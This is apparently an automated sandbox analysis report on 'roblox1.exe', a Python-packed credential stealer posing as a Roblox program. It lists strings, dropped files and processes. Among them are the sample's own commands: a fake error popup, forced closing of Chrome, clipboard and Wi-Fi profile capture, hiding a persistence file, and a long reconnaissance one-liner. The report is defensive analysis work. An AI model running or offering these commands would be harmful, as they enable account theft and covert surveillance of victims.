Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/Variomedia.svg
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/latest/glossary.html#term-dunder-methods)).
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/latest/names.html)
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/changelog.html
Source: stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/changelog.html)
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/comparison.html#customization)
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/init.html#hooking-yourself-into-initialization)
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/why.html#data-classes)
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.ibm.com/
Source: stub.exe, 00000003.00000003.1936996426.00000213BEEAF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937485075.00000213BED4E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1947969384.00000213BEEC0000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916641171.00000213BEEB2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1939941508.00000213BED89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: stub.exe, 00000003.00000003.1698207529.00000213BEF58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: stub.exe, 00000003.00000003.1936996426.00000213BEEAF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937485075.00000213BED4E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1947969384.00000213BEEC0000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916641171.00000213BEEB2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1939941508.00000213BED89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: stub.exe, 00000003.00000003.1698207529.00000213BEF58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: stub.exe, 00000003.00000003.1698207529.00000213BEF58000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1939941508.00000213BED89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: stub.exe, 00000003.00000003.1936996426.00000213BEEAF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937485075.00000213BED4E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1947969384.00000213BEEC0000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916641171.00000213BEEB2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1949761469.00000213BF5B4000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1939941508.00000213BED89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: stub.exe, 00000003.00000003.1698207529.00000213BEF58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014DE000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1953361364.00007FFBA9F1A000.00000002.00000001.01000000.00000013.sdmp, stub.exe, 00000003.00000002.1954523023.00007FFBAA267000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1938065782.00000213BE603000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1945647945.00000213BE608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1945949280.00000213BE750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/dev/peps/pep-0205/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.python.org/dev/peps/pep-0506/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/user/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.reddit.com/user/acomment_karmaatotal_karmaais_modais_goldais_suspendedaprofileUrlu
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.roblox.com/my/account/json
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.roblox.com/my/account/jsonuhttps://economy.roblox.com/v1/users/aresaUserIdu/currencyuhtt
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.spotify.com/api/account-settings/v1/profile
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.spotify.com/api/account-settings/v1/profileatextaloadsaprofileagenderabirthdateu
Source: stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.twitch.tv/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.twitch.tv/adisplayNameahasPrimeaisPartneralanguageaprofileImageURLabitsBalanceatotalCoun
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.variomedia.de/
Source: stub.exe, 00000003.00000003.1936161103.00000213BEEF2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1936493443.00000213BEEF3000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1935734211.00000213BEEE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/
Source: stub.exe, 00000003.00000003.1935734211.00000213BEEE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/0m

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Code function: 3_2_00007FFBAAF173D0		3_2_00007FFBAAF173D0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 56_2_00007FFB49712CA9		56_2_00007FFB49712CA9

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_asyncio.pyd 3B0661EF2264D6566368B677C732BA062AC4688EF40C22476992A0F9536B0010

Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe

Code function: String function: 00007FFBAAF29DB0 appears 43 times

Source: _overlapped.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: Monster.exe.3.dr	Static PE information: Number of sections : 12 > 10
Source: roblox1.exe	Static PE information: Number of sections : 12 > 10
Source: stub.exe.0.dr	Static PE information: Number of sections : 12 > 10

Source: python3.dll.0.dr

Static PE information: No import functions for PE file found

Source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs roblox1.exe
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs roblox1.exe
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepython310.dll. vs roblox1.exe
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs roblox1.exe
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs roblox1.exe
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_asyncio.pyd. vs roblox1.exe
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs roblox1.exe
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs roblox1.exe
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs roblox1.exe
Source: roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs roblox1.exe
Source: roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepyexpat.pyd. vs roblox1.exe
Source: roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepython3.dll. vs roblox1.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: classification engine

Classification label: mal100.spre.phis.troj.spyw.evad.winEXE@110/57@2/3

Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe

File created: C:\Users\user\AppData\Local\MonsterUpdateService\

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6864:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Mutant created: \Sessions\1\BaseNamedObjects\M
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5876:120:WilError_03

Source: C:\Users\user\Desktop\roblox1.exe

File created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316

Jump to behavior

Source: roblox1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "chrome.exe")
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\quser.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\roblox1.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\roblox1.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\cmd.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: stub.exe, 00000003.00000003.1690926482.00000213BEDDA000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1947473880.00000213BEDC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: roblox1.exe

ReversingLabs: Detection: 55%

Source: stub.exe

String found in binary or memory: can't send non-None value to a just-started generator

Source: unknown	Process created: C:\Users\user\Desktop\roblox1.exe "C:\Users\user\Desktop\roblox1.exe"
Source: C:\Users\user\Desktop\roblox1.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\roblox1.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe C:\Users\user\Desktop\roblox1.exe
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe"
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "chcp"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "chcp"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\systeminfo.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\HOSTNAME.EXE hostname
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic logicaldisk get caption,description,providername
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\query.exe query user
Source: C:\Windows\System32\query.exe	Process created: C:\Windows\System32\quser.exe "C:\Windows\system32\quser.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup administrators
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup administrators
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user guest
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user guest
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic startup get caption,command
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /svc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query type= service state= all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
